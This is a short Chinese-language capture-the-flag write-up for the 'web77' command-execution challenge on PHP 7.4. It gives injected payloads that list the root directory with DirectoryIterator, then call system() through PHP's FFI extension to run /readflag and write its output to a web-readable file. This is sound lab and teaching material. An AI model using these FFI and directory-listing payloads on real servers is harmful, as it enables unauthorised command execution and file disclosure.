web77 命令执行最后一题,php7.4
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
php7.4 先和之前⼀样读取⽬录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现flag是flag36x.txt,还有个readflag 然后看群主的hint FFI,php7.4以上才有
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
这⾥因为不能回显,所以利⽤重定向将readflag内容输出到其他地⽅
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
https://xxxxxx/flag.txt
flag36x.txt没用 flag在readflag里
传入
c=
$ffi = FFI::cdef(
"int system(const char *command);");
$ffi->system("/readflag > a.txt");
exit();
注意这里没回显的访问 /a.txt